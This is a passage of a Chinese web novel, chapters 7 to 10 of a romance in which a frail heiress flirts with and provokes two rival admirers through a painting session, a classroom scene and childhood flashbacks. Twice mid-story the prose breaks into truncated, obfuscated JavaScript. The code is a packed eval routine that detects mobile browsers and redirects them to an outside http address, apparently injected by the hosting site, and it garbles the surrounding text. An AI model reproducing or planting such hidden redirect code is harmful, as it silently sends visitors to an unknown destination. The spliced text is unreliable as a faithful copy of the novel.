《病美人被迫修罗场[快穿]》 7. 第 7 章 祁今渔直接拦腰抱起俞泠,走入二层。身后,下人识趣地缓缓将门带上。此刻,偌大的豪宅第二层,只剩下她们两人。 然而,祁今渔却没有选择去书房,而是从容地迈向了另一边的卧室。 俞泠伸手揽住祁今渔的脖颈,故作埋怨:“不是说好要做我的老师吗?哪有正经老师不去书房教学,反而跑去卧室呀?” 杏眼睁大,明晃晃的狡黠,带着点不自知的勾人,不自觉间透着一股撩人的意味。 “如果小泠不介意的话,我们这次就在书房好不好?”笑吟吟的,勾着嘴角说些令人遐想翩翩的话。 俞泠果不其然脸红了。 “我不想补习。”俞泠耍赖道。 走到卧室,祁今渔把俞泠放在柔软的床褥上,双手撑在俞泠脑袋的两侧,任由栗色卷发垂下来,几缕发丝落到俞泠白皙的脸上。 那双琥珀色的瞳孔,在柔和的光线下泛着浅淡的金,像是覆着一层琉璃的光泽。 像上次一样,紧紧盯着俞泠,不放过俞泠的任何一丝表情变化。 俞泠发现祁今渔好像很喜欢这个姿势,喜欢她躺在床上,居高临下地看着她。 “小泠,级长竞选中,成绩是很重要的一项。” 祁今渔仅仅是说了这样的一句话。 哈?现在这么暧昧的气氛还在劝学? “你不是说会保证我一定可以成功竞选吗?”俞泠将问题又抛了回去。 对面的栗色卷发女人像是叹了一口气:“当然。” 祁今渔的姿势没有改变。这种姿势,让俞泠感觉自己被祁今渔锁在了由她的身体和双臂搭建出来的小空间一样,所闻所见都是祁今渔。 她的眉眼生得极为漂亮,眉峰微挑,鼻梁挺翘,薄唇天生带着几分弧度,笑起来时便显得温柔至极。 皮肤很白,不同于俞泠那种病态的苍白,而是白皙之中透着浅淡的粉意,落在光影里时,甚至显得有些透明感。 那件米白色风衣早已褪下,露出她身上那件剪裁贴身的白色衬衫。 锁骨线条分明,衣领松松垮垮地开着,露出一截精致的肩颈,和上面那串蓝宝石碎钻项链。 此刻,她只是低垂着眼睫,笑意不明地看着俞泠。 “那小泠可以帮我一个忙吗?”话题突兀地转向了另一个方向。 “嗯?”俞泠有些懵。 “小泠可以当我的模特吗?”祁今渔解释道,“我的绘画模特。” 俞泠知道祁今渔的母亲就是国际著名画家,祁今渔也从小喜欢绘画,从小到大获得了不少含金量极高的奖项,甚至不时举办专属自己的画展。 祁今渔不止擅长绘画,连雕塑、陶瓷等都有涉猎,她曾说过她的家中摆满了她从小到大的作品。 她偶尔也会送给俞泠几幅自己的画作。 俞泠看过,大幅的黑与白,穿插在其中的如血一般的赤红,被黑与白禁锢住的赤红。 祁今渔曾询问过她的见解,当时她很诚实地回答了:“我不太喜欢。” 后来祁今渔就再也没有给她送过自己的画作了。 她那时还担忧了一阵,担心这句话会不会彻底惹祁今渔生气。 但那时候正是她病得最严重的时候,整日整日清醒时间不过几个小时。很快,这件事情便再也没被她想起过了。 如今祁今渔主动提起,俞泠这才想起来被她扔到脑后的这件事。 俞泠蹙着眉,有点没搞清楚祁今渔的脑回路。但好歹不算一件坏事,她略一迟疑,还是点了点头。 祁今渔仍旧含着笑低头看着她,她的瞳孔偏浅,俞泠可以轻易地从中看到倒映在祁今渔眼睛中的自己的影子。 乌黑的发丝如丝绸般铺在洁白的床褥上,衬得她肌肤愈发白皙,仿若上好瓷器一般,透着近乎病态的脆弱美感。 唇色极淡,微微抿起的时候,便带着点倨傲的味道。 那双鎏金般的琥珀眸子越来越近,最终只是克制般在她的额头上落下了一个吻。 “非常荣幸俞泠小姐接受我的邀请。” ** 俞泠乖乖按照祁今渔的话,坐在轮椅上,半侧着身子,望向落地窗外大片灿金色的余晖。 拿掉了披在身上的针织毛衫,还有盖在双腿上的毛绒毯子,俞泠身上只穿了一件白色碎花连衣裙。 双腿被长期的病痛折磨得有些瘦削,但仍旧笔直匀称。大片雪白的皮肤暴露在空中,不过房间内十分暖和,俞泠并没有感觉到一丝寒冷。 管家派人上来送来一副专业画具,也不多问,明明是学业补习,怎么用到这些绘画工具。 等待人画完的过程很无聊,如果不是由于常年卧床,习惯了安静和沉默,她也做不到一动不动地等待祁今渔画完。 沙沙的绘画声在不远处响起,俞泠用余光瞥了一眼祁今渔。 窗外的余晖洒落,映在祁今渔低垂的睫毛上,投下一道浅淡的阴影。她的指尖在调色盘上游走,蘸取颜色时,神情格外专注。 时不时地抬头望着俞泠,像是在用眼神细致描绘着俞泠的轮廓。 不知为何,俞泠总感觉祁今渔的眼神落在自己的双腿上的时间最多。 一边等待,俞泠一边在心底思索攻略任务。 第一个任务世界,向来难度最低,来之前系统也信誓旦旦地说她一定会成功。 因此,俞泠其实并没有多担心自己会失败。 按照系统提供的世界进度,她将在一年后的某一天,由于病情突然恶化而离世。 “你的这具身体本应在五岁那场意外中去世,系统的能量只能维持你到二十岁。”进入这个世界的时候,系统如是说。 这个时间点,也是她脱离世界的时间点。 换言之,这是她最后的机会。 假如她没有在脱离世界前获得攻略对象们的满值情感波动,但在离世后成功获得了,那也算俞泠任务完成。 她没有办法去查看攻略对象们的情感波动,一切都只能由她自己去摸索,便多了许多不确定性。因此,最保险的做法就是争取在脱离世界前,尽最大程度地激发她们的情感波动。 一年的时间,看起来剩下不多。但加上前十几年,其实是比较宽裕了。 只是由于身体原因,她前不久才有精力全心贯注于攻略上。时间已经不多,她难免有些急切。 不过目前看来,好像进度还蛮顺利? “小泠,想到什么高兴的事情了吗?我看见你在笑呢。”悠悠的声音打断了俞泠的神游。 俞泠连忙否定:“怎么会,一定是你看错了。” “嗯……我发现,好像随着小泠的身体变好,表情也生动了许多?”祁今渔笑吟吟地望向俞泠。 俞泠面不改心不跳,挑挑眉:“我又不是陆离那个死面瘫。” “阿离如果听到你的这句话,她一定会很高兴的。”祁今渔像是发自心底地衷心说出这句话。 俞泠对此表示怀疑。至少现在看来,如果这句话的对象是祁今渔,祁今渔有这样的反应她倒是不奇怪。 “好了吗?祁今渔你怎么这么慢……”她抱怨道。 祁今渔安抚:“马上好了,再等几秒。多谢小泠耐心等待。” 祁今渔说马上好,竟然真是很快就好了。她起身向俞泠走去,先是把毛绒毯子和针织毛衫都重新裹到俞泠身上,然后从后面推着轮椅,让俞泠来到了她的画作面前。 “小泠觉得怎么样?允许我把这张画占为己有吗?” 祁今渔的声音很好听,一如既往地温柔低沉,字句间甚至似乎透着点缱绻的意味。 俞泠却没怎么感受祁今渔的声音,她只是怔怔地看着眼前的画—— 画布上,暖金色的余晖洒落,将整个画面浸染在柔和静谧的光影中。 画中女孩坐在轮椅上,白色碎花裙轻轻垂落,乌发如缎,侧脸宁静,目光投向窗外。暖光勾勒出她的轮廓,仿若琉璃般透明。 然而,画面的焦点,却落在了她的双腿上。 那双长期被病痛侵蚀的腿。 纤细、脆弱,甚至带着病态的苍白。 腿部的线条不像常规绘画中对美的刻画那般匀称有力,而是带着些许突兀的消瘦感,骨感分明,静静地垂落在轮椅边。 露出的脚踝像一块细致雕琢的白玉,呈现出一种脆弱的美感。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15805580|175132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这幅画没有黑白的割裂,没有猩红的冲突,甚至连那双被精心描绘的腿,给人的感觉也只有一片沉静。 “……小泠觉得怎么样?允许我把这张画据为己有吗?” 祁今渔耐心重复了一遍。 俞泠仔细端详着画中的双腿。那双被认为需要躲避外人目光的腿,被描绘得如此温柔,像被凝视、欣赏,甚至珍藏。 一分古怪的异样感涌上俞泠的心头。 听到祁今渔重复的问话,俞泠佯作随意:“这是你亲手画的画,自然就是属于你的。哪来什么‘据为己有’一说。” 背后的女人低声笑了一下,似是早就料到俞泠会这样回答:“谢谢小泠,那我可就不客气了……” ** 帝丹学院有着严格的教学制度,强制学生每学期完成固定学分的课程。只是俞泠有着正当的理由选择居家上学。 如果不是俞泠的同桌是陆离,她才不会选择来学校。 俞家只有俞泠和俞伶伊两个孩子,向来优秀的俞伶伊是俞家在帝丹学院的象征,自然也没有人会去要求俞泠的成绩。 因此她的之前的成绩只是中上,距离陆离这种常年第一的成绩实在是有些差距。 “叮铃铃——” 下课铃一响,左侧的黑发女孩就侧身趴在臂弯里,竟是睡过去了。 她的侧脸正对着俞泠,鼻梁高而挺,唇色浅淡,微微抿着。 眼睑下浮着淡淡的青色,睫毛在脸上投下纤细的阴影,衬得整个人愈发清冷而疏远。 黑色长发松松地垂落,几缕滑落在手臂上。 一副很累的样子。 俞泠不紧不慢地整理着课桌,但眼神又有点飘忽,心不在焉地瞥了陆离一眼—— 毕竟陆离是实实在在地在忙级长竞选的活动,不仅要在学业上争取拿第一,而且学校和企业内各种大大小小的活动也委派到她的身上了,来作为竞争时能力衡量的指标。 可俞泠口头上说着要和陆离竞争,那是一点实事都没干。 不过依照陆家的实力,这些事情应当也是不必要做的。 只是一个学生会的级长职位,为什么陆离还要如此拼命? 俞泠略显不耐地瞪了一眼要上来搭话的某个同学。 对方脚步犹豫,显然是想找机会搭话。 俞泠认出来,这人是某个依附于俞家的家族子弟,八成是想趁机套近乎。 被她一瞪,那人果然怯怯地停下脚步,略显尴尬地转身离开。 教室里的人渐渐散去,最后只剩下她们两人,安静得连窗外的风声都清晰可闻。 俞泠托着腮,指尖漫不经心地转着笔,目光落在陆离的睡颜上。 往日都是陆离负责她出入教室的行动。 不过看在她这么累的情况下,俞泠决定今天就不麻烦她了。 俞泠收回视线,轻轻哼了一声,懒懒地靠回椅背。 “忙成这样,累死算了。” 她小声嘀咕了一句,声音轻得几乎要被风吹散。 她打开手机,给校门口等待的司机发了条信息,命令她直接进入教学楼里接她。 顺便也通知了一下陆离的司机,别让她的小姐真的在学校里过夜了。 发完信息,收起手机,俞泠便操纵轮椅,正要离开座位—— 一只手拦住了她的动作。 指节分明,骨干却不显单薄,手指修长,紧紧攥住了她的衣摆。 俞泠抬眸望去,黑发女孩已经将脑袋变了一个方向,把全部脸庞都埋到了臂弯中,俞泠只能看见黑色发丝中间露出的一点白皙耳尖。 “你要走吗?” 声音沙哑低沉,闷闷的,带着几分未褪的睡意。 俞泠挑了挑眉:“废话。难道要我跟你一起在教室里睡吗?” 陆离却没接话,安静地呼吸声都微不可闻。 要不是俞泠的衣摆还被这人紧紧攥着,她都要怀疑这人是不是又要睡过去。 俞泠试图把自己的衣摆从陆离的手中解放出来,使劲拽了拽,没有拽动。 “昨天……你和祁今渔做了什么?”良久,陆离的声音才再次响在空旷的教室里。 8. 第 8 章 俞泠装傻充愣:“能干什么,当然是补习了。” “俞伶伊给我发消息,昨晚她和你,还有祁今渔一起吃的晚餐。” 俞泠扬了扬眉,阴阳怪气道:“呦,我的妹妹和你关系真好,连和谁吃的晚餐都告诉你。” 不过俞泠并不意外。 与其说她、陆离和祁今渔三个人的关系互相比较亲近,不如说是她、陆离、祁今渔和俞伶伊四个人的关系互相亲近。 在前一段日子前,她的身体还没有恢复得很好,俞伶伊也还远没有现在这么忙的时候,其实是她们三个人相处的时间要比她久的。 毕竟,那时的她常年卧病在床,能与人共度的时间和机会实在少得可怜。 陆离攥她的衣摆,攥得更紧了。 “我之前和你说过……不要和祁今渔走得太近。” 声音泠泠,自带一股清冷和克制的味道。 “那我之前也问过你,为什么。” 俞泠毫不犹豫地伸手,去推紧攥着她衣摆的那只手。 可她的力气实在太小。 她的手骨架纤细,指节瘦削,肤色比常人更显苍白,隐约能看到淡淡的青色血管浮在腕间。 指尖略有些凉意,推在陆离的手背上时,像是轻飘飘的羽毛。 而陆离的手与她截然不同。 陆离的手骨节分明,手指修长,掌心温热。手背上隐约青筋浮现,拇指无意识地收紧,稳稳扣住了她的衣摆。 她轻轻推了一下,陆离的手指只是微微颤了颤,却没有丝毫松开的意思。 想了想,俞泠的眼神一动,眼底掠过一丝狡黠的笑意,坏心眼地故意说道: “如果你真的想知道我昨天和祁今渔做了些什么的话——” 她话音未落,便敏锐地察觉到,装睡的那人呼吸明显一滞。 俞泠满意地勾了勾唇角,故意压低声音,缓缓说道: “昨天晚上,祁今渔把我推倒在床上。” 陆离依旧保持着那个姿势,半埋在臂弯间的脸看不清神情。 俞泠故作无意地叹了口气,“她吻住了我。” 只有那攥着俞泠衣摆的手,微不可察地收紧了一分。 “这次吻的时间还蛮长,毕竟不会再有你来打扰了。说实话,现在我的嘴唇还有点发麻呢。”俞泠嘟着嘴,抱怨道。藏在乌发下的耳尖,悄悄泛了红。 当然是假的。昨天祁今渔的吻很克制,仅仅吻了下她的额头。 可对方依旧没有什么明显的反应,甚至连呼吸都克制得冷静至极。 “没有想到祁今渔的吻技还挺好。” 依然没有反应。 俞泠有些不满。 她咬了咬牙,决意要突破一些自己的羞耻心,轻轻眯起眼,声音低而缓:“她用舌头撬开了我的牙关,然后轻轻舔舐着——” 话未说完,俞泠的肩膀忽然被人狠狠握住。 她抬头,陆离近在咫尺,眉骨分明,眼睫投下淡淡的阴影。她的唇抿着,透着不易察觉的紧绷。 表情依旧淡漠,但一双眸子,如深不见底的浓墨,在沉沉地注视着她。 可惜,俞泠并不怕。 她甚至愉悦地勾起了嘴角,打算继续开口挑衅:“我的——” “除此之外呢?”陆离的声音冷冷地打断了她。 “嗯?”俞泠眨了眨眼,语气中的疑惑毫不掩饰。 “除此之外,祁今渔还对你做了些什么?” 陆离的情绪现在有点不太对。 俞泠原本以为,她会因这番话露出愤怒、妒忌,甚至是不满的神情,她可以借机逼迫陆离承认对她的感情,可她的态度却异常平静,平静得令人不安。 这种预料之外的反应,让俞泠的笑意渐渐收敛了一些。 她盯着陆离,认真思索了一下,如实摇了摇头:“除此之外?还能有什么。不过是祁今渔拉着我当她的模特,画了幅画而已。” 陆离的眼神微微一变,半晌,才轻轻开口:“然后呢?” 俞泠眯了眯眼,质问道:“然后?你还希望有什么然后?” 手机突然一阵震动,俞泠向桌子上瞥了一眼,是司机的消息。 她连忙说道:“好了,你继续睡你的觉吧。我该回家了。” 话音未落,她正要操纵轮椅离开,却发现自己的手臂仍被人紧紧攥着。 她微微蹙眉,抬眸望去,对上的却是一双如幽谷般的眸子。黑白分明,凌厉沉默。 陆离安静地看着她,指尖依旧扣在她的手腕上,力道不重,却带着一股执拗的意味。 “你抓得太紧了……”俞泠忍不住抱怨,带着一丝不易察觉的委屈,“有点疼。” “……抱歉。”可尽管口头上道歉,手上的力道却没有丝毫松懈。 下一秒,她忽然抬手,顺势一揽,轻而易举地将俞泠带入怀中。 她的动作不算猛烈,甚至有些体贴的温柔,但仍带着不容抗拒的坚定。 温热的呼吸轻拂在颈侧,带着点浅淡的暖意。陆离把额头抵在她肩窝,深深吸了口气,嗓音低哑地叹道:“俞泠……” “我失眠了……只有待在你身边,才能睡着。” 声音不复往日的冷淡,带着一点不加掩饰的疲惫与祈求。 然而,被她牢牢拥住的女孩,却丝毫不解风情。 她下意识地往后仰了仰,眉头轻皱,声音里带了点不解:“陆离,你发什么疯?” “祁今渔现在就在我家等着补习呢,往常这个时间我早吃完晚饭了。” 教室里陷入一瞬的沉寂。 傍晚的风透过半开的窗吹了进来,带着夏日微凉的气息。 良久,陆离终于开口,声音极轻极缓:“……你觉得我在发疯?” 气息落在俞泠的脖颈处,带着丝不易察觉的颤抖。 俞泠一时无言。 窗外的天色已然变得幽暗,余晖在天际燃烧出最后的橙色微光。 陆离轻轻将手放开,两人之间的距离终于恢复正常。 她下意识地抬眸看向陆离。 灯光未开,天光渐暗,陆离的脸庞半掩在阴影中。眼尾微微泛红,睫羽轻颤,那双眸子里的眼神,却平静得近乎冷淡。 糟糕,不会刺激得太过头了吧? ** 房间里灯光柔和,书桌上摊开厚厚的练习册,几支笔随意摆放在旁,纸张上有些被划掉的痕迹,显然经过几番推敲。 “这里的解法,你理解了吗?”祁今渔坐在一旁,手里拿着笔,指尖轻点着题目上的一个关键步骤,语气耐心又温和。 俞泠托着腮,眼神落在演算纸上,眉头微皱,有些不耐地点了点头:“你真当我是小孩子吗?” 祁今渔闻言,轻笑,提醒道:"明天就是期中考核。" 帝丹学院没有大大小小的各类考试,每一个学期仅有期中和期末的两次统一考核。 高三这一次的级长竞选,当然不可能等到一学期结束,因此便会拿这次期中考核的成绩来作为学业上的衡量。 俞泠声音里带着显而易见的烦躁:“那又如何?” 她坐直了身子,手指有一下没一下地敲着桌面,眉梢轻挑,语气有些故作的不屑:“没错,我这学期也不过才上了半个月的课,今天也才算你的第一次正式补习。” “但是——那又如何?”她倨傲地扬了扬下巴,眉眼间那份与生俱来的矜贵与自傲一览无遗,“我照样可以拿第一。” 仿若学业和这副残疾的身体一样,于她而言,都是不值得被绊倒的东西。 对面栗色卷发的女人静静凝视着俞泠,低低笑了:“是,我们小泠,一定可以成功竞选级长。” 暖色灯光氤氲在她的琥珀色瞳孔中,祁今渔微微低头,将对面俞泠的神情看的一清二楚。 像是鼓励一般,祁今渔的唇角弧度扩大,再次重复:“我们小泠,当然什么都可以做到。” 俞泠轻哼了一声,随即百无聊赖地拿起笔写题。 但写着写着,那些数学符号和公式中突然浮现出陆离的脸。 想起今天白天陆离的异常,俞泠犹豫了一会儿,余光中看到祁今渔正垂眸在笔记本上敲着些什么。 咬了咬笔帽,眼神不自觉地游移。 陆离为什么不肯承认对她的感情呢? 明明非常在意她,明明也会吃祁今渔的醋,为什么不愿直白袒露一些呢? 而且……俞泠郁闷地盯着试卷,为什么陆离一直在退缩? 总是这样,若即若离的拉扯,展现出对她的特别关注后,又立即退开,剩下一 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俯下身子,由上而下地抱住了俞泠。 这个姿势,有些熟悉,像是上次俞伶伊抱她的姿势。 下巴轻轻抵在了俞泠的脑袋上,将整个俞泠都拥在了自己的怀中。 “小泠,我不知道是否应该告诉你……”祁今渔的声音难得有几分迟疑。 “什么?”俞泠被勾起了几分好奇心。 “阿离她……最近被她母亲逼得有些紧。” 祁今渔缓缓说着,怀中的手臂却逐渐收紧,紧密的肌肤贴合间传来若有若无的温热。 “你知道的,陆家是一个大家族,她与母亲的关系有些复杂。阿离最近的压力很大。” “所以小泠,不需要将所有的事情都归因到自己身上。” 手指却悄然地贴上俞泠的腰侧,轻轻摩挲,引起一阵细密的战栗。 “阿离的事情只能她自己去解决,小泠不需要格外关注阿离,那反倒会使阿离分心,小泠同意吗?”祁今渔的语调轻缓,宛若哄骗般一句一句回荡在俞泠的耳边。 末了,祁今渔略微退后,俯身捧住俞泠的脸,两人四目相视,气息几乎纠缠在一起。 “现在的小泠,更关注于眼前的事,好不好?” 祁今渔低下头,眼波流转,琥珀色的眸子仿佛含着光,唇角像平常一样勾着,这种时刻却如同含着毒的蜜糖,蛊惑又危险。 “比如我……” 白天对陆离说的那一通谎话,竟在现在变成了现实。 ** 两天后。 高三年级成绩表上,陆离与俞泠的名字一上一下,分外显眼。 帝丹学院的上课铃响起,教室很快被学生们填满。 同学们在老师进入课堂前纷纷在内部论坛上大肆谈论—— “果然,如果俞家的那个大小姐真得第一的话,才是怪事呢。” “不过如果是俞家的那位二小姐的话,估计能做到。” 俞伶伊的风评在帝丹学院一向很好,在低年级中甚至比学生会会长祁今渔的威望还要更盛一些。 下边有人评论附和:“如果是俞伶伊的话,那就是肯定能做到了。” 直到上课,班级里都没见两位主人公出现,班内同学大胆起来,纷纷交头接耳: “今天陆离和俞泠都没有来。” “那恐怕之后都不会来了。人家是早早就接过家族企业的,和我们还得去争家族继承权的人可不一样。”有人酸溜溜道。 教室里的氛围瞬间有些古怪起来。 在真正的权利上面,血脉相连的亲人才是最大的竞争对手。 而另一边,俞泠的房间里依然一片黑暗,只有床头那盏小灯发出微弱的光芒。 她一直睡到日上三竿,脑袋里的晕眩感才稍稍消退。 最近好不容易稍微好点的身体,好像又变差了一些。 迷迷糊糊地揉了揉眼睛,拿起手机,在刺眼的屏幕光下点开了早已发布的成绩表。 一看,自己的名字果然是在第二。 随手将手机扔到一边,连那些闪烁着红点的数条未读消息都懒得理会,俞泠重新裹起被子,继续沉沉睡去。 9. 第 9 章 陆离从小便是个寡言少语的性子,第一次见面的具体场景俞泠早已记不清了。 只模糊地记得自己当时哭着去拉陆离的手,而陆离则一言不发地把手藏到背后,沉默着拒绝她。 她便在地上打滚,终于如愿以偿。 那时俞泠四岁,身体健康,活泼好动。 后来一场意外,俞泠的活动范围缩小到一间病房里。 这个时候,那个总是被她拽着的陆离,反倒成了那个拉着她不肯松手的人。 陆离依旧寡言,却会安安静静地坐在她床边,翻着厚重的童话书,一页一页地念给她听。 那时陆离的性格还算正常,只不过比别的孩子更加内敛罢了。是什么时候陆离开始变得有些阴郁呢? 俞泠想了想,是她十岁的时候。 那年好像发生了不少事。 俞伶伊成为她的妹妹,开始向继承人的方向培养,于是母亲来的次数就更少。 陆家家主突然车祸去世,阔别陆家十年之久的陆霖——陆离的母亲,回归陆家,旋即独揽家权。 祁家风平浪静。祁今渔是祁家的独女,继承人身份毫无悬念。 但也是这一年,祁今渔第一次进入了她的视野。 当时俞泠还十分苦恼,十年都还没有见过另一位攻略人物的影子,照她现在的身体状况,也根本没有主动出击的机会,难道只能苦等下去? 没想到,在俞伶伊出现不久后,祁今渔便以“照顾母亲好友的妹妹”为由,主动拜访了她。 祁今渔不常来,但每次来的时间都很长,几乎一来便是半天,忙前忙后,不厌其烦地给她喂药、聊天、介绍礼物。 她和俞伶伊偶尔碰上,但与更频繁造访的陆离,却总像是有意错开。 直到某天,两人终于在病房中碰了个正着。 不过两人第一次在俞泠的病房中碰面的那个氛围,实在算不上和谐。 12岁的祁今渔早已出落得很漂亮,嘴角总带着恰到好处的笑意,行事也是温和有度的。她刚到病房不久,送给了俞泠一大罐糖果。 俞泠头昏脑涨,身体软绵绵的,只懒洋洋地应了一声,便又闭上眼睫,任她在房间中来回走动。 她听见剥糖纸的细响,水壶倒水的咕噜声,窗户被推开的咔哒声。然后祁今渔温柔地扶起了她。 纤细的手指轻轻托住她的下巴,略微用力,动作轻柔,却带着不容拒绝的力度,俞泠便不情不愿地张开嘴,喝了口热水。 紧接着,一颗带着水蜜桃味的软糖送入唇中。祁今渔的指尖在那一瞬停顿,轻柔地碰了碰她的唇瓣,像是在确认她是否真的吞咽了下去。 鼓着腮帮子嚼糖,俞泠不满地哼唧了几声。 真不知道祁今渔一个12岁的大小姐,哪里学来的这些照顾人的动作,还做得如此娴熟。 片刻后,一只温热的手背轻轻贴上她的额头,蒸腾的热气从皮肤相触的地方向身体四处蔓延。 祁今渔低声叹道:“小泠,你发烧了。” 俞泠胡乱地点了点头,制止了祁今渔要叫护士的行为:“她们知道。” 在祁今渔来之前,护士刚喂过她药,她躺了一会儿又醒了,但烧却一直没退。 也许是她的声音太过虚弱无力,祁今渔将脸凑到了她的面前,琥珀般的大眼睛扑闪着,专注地盯着她,近得可以映出她自己的倒影,两人的鼻尖几乎快要碰到一起。 就在这个时候,病房门被打开,陆离抱着一大束白色雏菊走了进来。 现在俞泠回忆起来,一个月前的事情简直是那时场景的复刻。 陆离冲上前,试图把祁今渔从俞泠床边拉开。但她那时只有十岁,力气比不过12岁的祁今渔,拽了几次都没成功。 10岁的陆离气得脸色苍白,眉眼冷冷地绷着,声音也透着一股稚嫩的压抑怒意,冷声质问祁今渔在干什么。 那时的陆离已经显出几分将来模样,眉眼深秀,睫毛很长,皮肤白得像瓷,五官生得清冷,神情冷淡时竟已经有种不近人情的疏离感。 祁今渔从小便很爱笑,闻言也只是温柔地对陆离安抚:“阿离,你也是来看望小泠的吗?真巧,我也是。” 陆离的神情却更冷,目光冰冰地盯着她。不知道是因为年龄太小还没懂得隐藏自己的情绪,亦或是那时陆家的变故太大导致她的情绪易怒,总之陆离二话不说地直接按响了呼叫铃:“这里有个擅自进入病房的外人。” 自然没有成功,祁今渔来得次数没有陆离多,但护士也是认识的。 陆离不得已接受了这个事实,但那天她格外沉默,眼神一直警惕地落在祁今渔身上,像是在守护自己专属领地的小兽。 她将雏菊插入花瓶时,顺手取出了那支还未枯萎的花——俞伶伊几天前送来的。 陆离来到了她的病床边,握住她的手,小声问道:“俞泠,你是主动邀请祁今渔的吗?” 俞泠对两人在她病房发生的事情不感兴趣,头疼得不想说话,只觉得烦躁,她想打包把两个人都送出去。 冷哼了一声,背过身去,没有回答。 病房陷入短暂的安静,过了好大一会儿,俞泠以为两人都离开了,却忽然听见陆离的声音,幽幽地从身后传来: “不可以,俞泠。” “只有我陆离可以来这里。” 小孩子的执拗声音,稚嫩却固执。 那时候陆离可比现在要坦率,至少直白地说出了她自己的要求。 随后是祁今渔的轻笑,似乎认为眼前这个场景十分幼稚好笑,她的声音带着不明显的嘲讽: “小孩子才会要糖吃。” 明明第一次的碰面如此不愉快可不知为何,从那之后,两人竟像达成了某种默契,彼此错开时间来探望她。 随着年龄渐长,两人之间也不再剑拔弩张,关系越发地好了起来——至少在俞泠眼中是这样。 ** 从白天睡到黑夜,醒来时脑袋还是昏沉的。 俞泠揉了揉眉心,按下遥控,窗帘缓缓拉开,窗外一片黑暗,她才恍觉自己竟睡了这么久。 暗道不好,俞泠立刻打开手机,屏幕上弹出十几条未读消息的提示。 俞泠点入最新的聊天框,是母亲的消息,从两个小时前到十分钟前断断续续地发来: “恭喜小泠获得第二名,妈妈由衷地为你感到高兴。” “我和伶伊已经到客厅了,睡醒后直接下来吧,我们正在等你。” “小泠,非常抱歉,妈妈这边有一场紧急会议要开,只能先走了。约定好的家庭聚餐,下次补给小泠好不好?” 消息戛然而止。 俞泠的眼睫微颤,无声叹了口气,只能怪自己错过了约定时间。 然后滑到下一个聊天框,是祁今渔的消息:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15805582|175132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“明天醒后给我发一个消息吧,我带小泠去一个有趣的地方。” 下面是一个画着笑脸的红色小狐狸表情包,尾巴高高翘起。 “你不会拒绝我的吧,小泠?” 俞泠面无表情地发消息:“当然。”附带系统默认的微笑黄脸。 再滑,是陆离的聊天框。 只有一条。 “开门。” 发送时间是半个小时前。 眼神微动,俞泠按下呼叫铃。几分钟后,管家上到二层,服侍她换好衣服,之后乘坐电梯来到了一层客厅。 “叮”一声,电梯门打开,在转角处她与陆离差点撞个正着。 抱怨的话还没说出口,看到面前的画面,俞泠怔住,眼眸微张,似乎十分不可思议。 陆离退后了几步,拉开了与俞泠的距离,看清楚俞泠的表情后,拧着眉道:“你不会以为我站在外面傻等了半小时吧?” 俞泠的嘴巴张张合合,末了才吐出来一句话:“陆离,你离家出走了?” 陆离的表情更冷,眉眼像冰雪一样凝住。 不是俞泠无的放矢,陆离的样子实在太不寻常了——过于狼狈。 仿佛刚从起床一般,黑发凌乱地披散在肩头,只穿着一件单薄的黑色睡衣衬衫,领口松松垮垮地敞着,露出大片白皙锁骨。 身形高挑,此刻显得格外瘦削,像清冷的竹枝,被风吹拂得摇摇欲坠。 面无表情,嘴角向下压着。眉头微皱,眼周下是十分明显的青黑色,眼神颓靡,一副疲惫至极的样子。 “需要我帮忙联系陆阿姨吗?如果你真是离家出走的话……””俞泠犹豫了一下,勉为其难地开口,“暂住在我家倒也不是不行。” 她话音刚落,就感觉身上一沉。 陆离毫无预兆地上前,抱住了她,但又小心翼翼地控制着力道,没有将全部重量压在她的身上。 她本就比俞泠高出一截,身材瘦劲,拥住俞泠的姿势带着天然的包裹性。 环抱住她的时候,黑发也顺势倾洒在她的肩头,柔软发丝扫过脸颊和脖颈,带着隐隐凉意。 俞泠根本违抗不了陆离的拥抱,她只能被动承受,感受着单薄衣料下的陆离的体温,冷得像初冬的雪。 “可以吗?”声音清越泠泠,像是碎玉一般,却多了一丝掩饰不了的惫懒。 俞泠道:“不是的话那当然不可以。” “那可不可以……”陆离的声音沙哑。 “和我上床……” ! 俞泠瞳孔骤然收缩,眼睛中闪过了几丝慌乱:“喂!陆离,你在胡言乱语什么——” “……睡觉。””陆离这才把话说完整,语气低低的,俞泠竟从中仿佛听出来几分委屈。 “我失眠了,只有你在旁边,我才能睡着。”陆离贴着俞泠的颈窝,再度重复了一遍这句话。 俞泠本就已经动摇,认为她之前的行为实在有些过分和粗暴。现在被陆离抱在怀中,早已软了心,正要答应—— 叩叩,敲击木质墙壁的声音。 俞泠闻声望去,看到墙边立着一个纤细的人影。 俞伶伊正倚在墙边,穿着一身淡黄长裙,眉眼弯弯,对她灿烂一笑: “姐姐,你终于下来了,我等你好久了呢。”声音软糯糯的,像在撒娇。 原来俞伶伊没有跟着母亲一起离开吗? 10. 第 10 章 听见第三个人的声音,陆离非但没有松开俞泠,反倒越抱越紧,几乎快要把俞泠的身体嵌在她的身躯里。 俞泠被抱得有些喘不过气来,她轻轻拍了拍陆离的手臂,示意她放开。 陆离却只是闷闷低声道:“你还没有回答我。” 俞泠看了看那边笑容明媚的俞伶伊,又转眸望向怀里那像大型犬一般,将头深埋在她颈窝处的陆离,心中叹了口气。 